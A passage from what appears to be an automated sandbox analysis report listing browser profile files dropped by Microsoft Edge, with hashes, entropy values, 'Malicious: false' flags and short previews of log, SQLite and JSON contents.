Encrypted:	false
SSDEEP:	6:HG+1tQL+q2P923oH+Tcwt8NIFUt8YG+fyG1Zmw+YG+fyQLVkwO923oH+Tcwt8+ed:lHv4YebpFUt8GV1/+Gl5LYebqJ
MD5:	7F309D455009F65309A3098EA1CDE49E
SHA1:	1A2EE212DA09AA586B3A1658CC07311D051F2C70
SHA-256:	984C6DEA5E85804A3B26DD3AE5C34504366C66A2B6388BB477EBBCD19F0178F3
SHA-512:	8EBA92D4D3B44B21FCE69E966ED133A69ECDF89BE87A0A6DB61106E416418D55A3F68C0E45A1D0D8413D3A585399069501576CC471CFF3B9494EEF913E2C3144
Malicious:	false
Preview:	2024/11/23-22:23:34.676 1838 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-22:23:34.677 1838 Recovering log #3.2024/11/23-22:23:34.677 1838 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	14904
Entropy (8bit):	0.047785563130200284
Encrypted:	false
SSDEEP:	3:mlFtlY1l0lvPl0lPtl0l8t1l0l/Pl0lstl0lutlU:Sm0vK08yyssH
MD5:	7090A8263D3E77FAF13C40D9CE72E64F
SHA1:	04C0614714F4A613F59FAE59AA02CE478B3C1306
SHA-256:	A2172B12E3C57C5D1C4EC5684038972186B2DC1D58E95ABC7E554BAFEB6E5160
SHA-512:	AB624BA9DFB5D0E51A7D63C90B74777FA2F475588DBF03CC57265BD59FC3B4027DC53E9D1AAF9D1783F981C0F7EA6F00F8B06118D918DDB2105BB4889EF9D2EA
Malicious:	false
Preview:	............7.f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.7421675454630615
Encrypted:	false
SSDEEP:	192:MCwmRhq8KzhH+bDo3iN0Z2TVJkXBBE3ybzw8S:WmKzhIU3iGAIBBE3qk8S
MD5:	6F01BE0FB2DE4EF8A2E394326F5F0C48
SHA1:	D74EE034B120D4DDA874060335FBD1FA44E9E153
SHA-256:	95C4BE506D086B1D07D55BCE1ECCAD695353432355056EC14D6E057A0AF974D9
SHA-512:	7372B1F8DBFBB99D1026657140A4AF20D744297C05D3C26763FE30C6F4E2CCF3F53BF8B7AC11FEA8787306E681C2079AC60EB9369596DBB0AD936C61455B8CCD
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6478120050601515
Encrypted:	false
SSDEEP:	384:aj9P0bcAjl+QkQerpP/KbtPgam6IThj773pLLRKToaAu:addKl+e2pP/VjF7NRKcC
MD5:	DF2EE9F6AE818F142C7881D843F53120
SHA1:	1D449CF10D79297CEDBEB18CB9071A6188C9A853
SHA-256:	C44FCD2A13F96DD5A222B48A8F364DD22F1046F151B72D8082A405F156279699
SHA-512:	4FC242A6F5908D543CC22A316C1BD1E6BF72695FF74F31F92E68E6CAAF58BA846EC0AC93ECA6F146CBE0443B390B124F82C2A0A46587805B7E0E027060498924
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.253892007658514
Encrypted:	false
SSDEEP:	12:2+v4Yeb8rcHEZrELFUt8OW/+FV5LYeb8rcHEZrEZSJ:f4Yeb8nZrExg8iLYeb8nZrEZe
MD5:	E4DA40E06076CEC2AF023C692D92407C
SHA1:	72CB90791B914414D220EB7361D51248735E14AA
SHA-256:	301AC9B3C6CB4012E50E21034DF8BD1347A723BFF1942D4D3D765F78CDA6B2DA
SHA-512:	151246474DF71D72E5E490039FE95B1461034AFA4A939E066A432B2CF094878683DBEE57977DC30091B665A699076C7F5E47150F030C0F137C41E1986FFAD37A
Malicious:	false
Preview:	2024/11/23-22:23:40.635 17cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-22:23:40.635 17cc Recovering log #3.2024/11/23-22:23:40.635 17cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.253892007658514
Encrypted:	false
SSDEEP:	12:2+v4Yeb8rcHEZrELFUt8OW/+FV5LYeb8rcHEZrEZSJ:f4Yeb8nZrExg8iLYeb8nZrEZe
MD5:	E4DA40E06076CEC2AF023C692D92407C
SHA1:	72CB90791B914414D220EB7361D51248735E14AA
SHA-256:	301AC9B3C6CB4012E50E21034DF8BD1347A723BFF1942D4D3D765F78CDA6B2DA
SHA-512:	151246474DF71D72E5E490039FE95B1461034AFA4A939E066A432B2CF094878683DBEE57977DC30091B665A699076C7F5E47150F030C0F137C41E1986FFAD37A
Malicious:	false
Preview:	2024/11/23-22:23:40.635 17cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-22:23:40.635 17cc Recovering log #3.2024/11/23-22:23:40.635 17cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.10387301732052
Encrypted:	false
SSDEEP:	6:HG+9uvyq2P923oH+Tcwt8a2jMGIFUt8YG+x8z1Zmw+YG+VRkwO923oH+Tcwt8a23:rv4Yeb8EFUt8/z1/+q5LYeb8bJ
MD5:	622EE3686A220B17E0374CDD53F931C3
SHA1:	D99C63FC685A80766BDD4F1823683DE826DE2FE3
SHA-256:	F57C91BAAA23BB5495ECB6897F2B83115B7D9A7D809EC0DEF76E4EA1A31B494A
SHA-512:	AB568E9423EAFFC8995823327EF4FABB9B4C5FC9DDDD533D4D3997A812BF4808D3D93B7F223CAF1CA63A30B9A60319A71E6098974282478720FE910A67F7FB50
Malicious:	false
Preview:	2024/11/23-22:23:34.824 15a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:23:34.828 15a0 Recovering log #3.2024/11/23-22:23:34.832 15a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.10387301732052
Encrypted:	false
SSDEEP:	6:HG+9uvyq2P923oH+Tcwt8a2jMGIFUt8YG+x8z1Zmw+YG+VRkwO923oH+Tcwt8a23:rv4Yeb8EFUt8/z1/+q5LYeb8bJ
MD5:	622EE3686A220B17E0374CDD53F931C3
SHA1:	D99C63FC685A80766BDD4F1823683DE826DE2FE3
SHA-256:	F57C91BAAA23BB5495ECB6897F2B83115B7D9A7D809EC0DEF76E4EA1A31B494A
SHA-512:	AB568E9423EAFFC8995823327EF4FABB9B4C5FC9DDDD533D4D3997A812BF4808D3D93B7F223CAF1CA63A30B9A60319A71E6098974282478720FE910A67F7FB50
Malicious:	false
Preview:	2024/11/23-22:23:34.824 15a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:23:34.828 15a0 Recovering log #3.2024/11/23-22:23:34.832 15a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\MediaDeviceSalts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 6, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	0.40392837050935765
Encrypted:	false
SSDEEP:	24:TLiCwbvwsw9VwLwcORslcDw3wJ6UwccI5fB5IedG:TxKX0wxORAmA/U1cEB5IedG
MD5:	7286079EA6BDE0D6287558F35B405F6E
SHA1:	358A3FD2BAB8000C858095C4EEA0205A41796707
SHA-256:	F2388EC050721FD257AB02A9B6B26F44FF1E777672FCB7636063ECA815D44F0E
SHA-512:	F57A8685FC3D16491F6B7AE32FDF2DB7E6456A6E0BBC1D4A43C9EC39D5E73161DD3A6A74C7658B174C265845081AF28F536E9CE12361A8EADA1E7ED5D0DED040
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...p."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16cc1039-469c-467b-8744-f4f08ca59dc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.2896066350810225
Encrypted:	false
SSDEEP:	3:YWRAWNjTQMiDNTPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqgvVd2/:YWyWNfQMiRTBv31dB8wXwlmUUAnIMp5L
MD5:	1475E8F61C09D7B492C4B40399F19375
SHA1:	420D2696655E4811C9E30732EE3EF04E55F5AC4F
SHA-256:	9EEEF36770951B5820BEF55FFE4A9BE44A28EDA215902EAB199FDAE8A279F70C
SHA-512:	173E45E4099D1C054EC3EB0FC43E2E05F86D46FBA4888334F738065FBE64D567D6D6489D00A41AEB05BFA76CDB3680E4158DD460B47E692699193A504B4ADDBD
Malicious:	false
Preview:	{"sts":[{"expiry":1763954622.921925,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1732418622.921929}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\30b7a4c3-4d9d-46e4-a18f-18ef4e985703.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6900885f-3492-4dcf-a9cb-d7185af21e15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4abcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4c35c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4c62b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.2896066350810225
Encrypted:	false
SSDEEP:	3:YWRAWNjTQMiDNTPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqgvVd2/:YWyWNfQMiRTBv31dB8wXwlmUUAnIMp5L
MD5:	1475E8F61C09D7B492C4B40399F19375
SHA1:	420D2696655E4811C9E30732EE3EF04E55F5AC4F
SHA-256:	9EEEF36770951B5820BEF55FFE4A9BE44A28EDA215902EAB199FDAE8A279F70C
SHA-512:	173E45E4099D1C054EC3EB0FC43E2E05F86D46FBA4888334F738065FBE64D567D6D6489D00A41AEB05BFA76CDB3680E4158DD460B47E692699193A504B4ADDBD
Malicious:	false
Preview:	{"sts":[{"expiry":1763954622.921925,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1732418622.921929}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a992fb3b-e68f-411e-96b0-02e992591f05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c9326bec-90ee-4330-b517-83d22cc383a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f5db847c-7390-43f3-95a3-e0beee1c6b46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8307038620100359
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
MD5:	B18967139991D9CA13DF7E493540A358
SHA1:	97411C14A8503C11248BE7404C9A79BA5146D40C
SHA-256:	CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
SHA-512:	473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9782
Entropy (8bit):	5.117421795558633
Encrypted:	false
SSDEEP:	192:stC+kdGs3h3sZihUkPo3N8YbV+FRCQA66WDaFIMYKPEYJ:stC+tsx3fhnSbGsQx6WDaTY6
MD5:	0BB6E130E7551B0D61BE2D835BEC5802
SHA1:	0FA23E2F2A638C7FDDEE36739AA8294297B7ED34
SHA-256:	936A79E522C853781ECDCCCCC9C5670BBB21F1E9EACEDF6E694DBD874E1151A6
SHA-512:	7A0F82B0422D974E46F428B5D063B342A34C7F336B7EC381A70BFD59061A861E6F4B346EABF340CD02B21C5B1ED2408832276E8201FD58AAFC0BF8D750686E26
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892214514804","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4ecdd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9782
Entropy (8bit):	5.117421795558633
Encrypted:	false
SSDEEP:	192:stC+kdGs3h3sZihUkPo3N8YbV+FRCQA66WDaFIMYKPEYJ:stC+tsx3fhnSbGsQx6WDaTY6
MD5:	0BB6E130E7551B0D61BE2D835BEC5802
SHA1:	0FA23E2F2A638C7FDDEE36739AA8294297B7ED34
SHA-256:	936A79E522C853781ECDCCCCC9C5670BBB21F1E9EACEDF6E694DBD874E1151A6
SHA-512:	7A0F82B0422D974E46F428B5D063B342A34C7F336B7EC381A70BFD59061A861E6F4B346EABF340CD02B21C5B1ED2408832276E8201FD58AAFC0BF8D750686E26
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892214514804","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
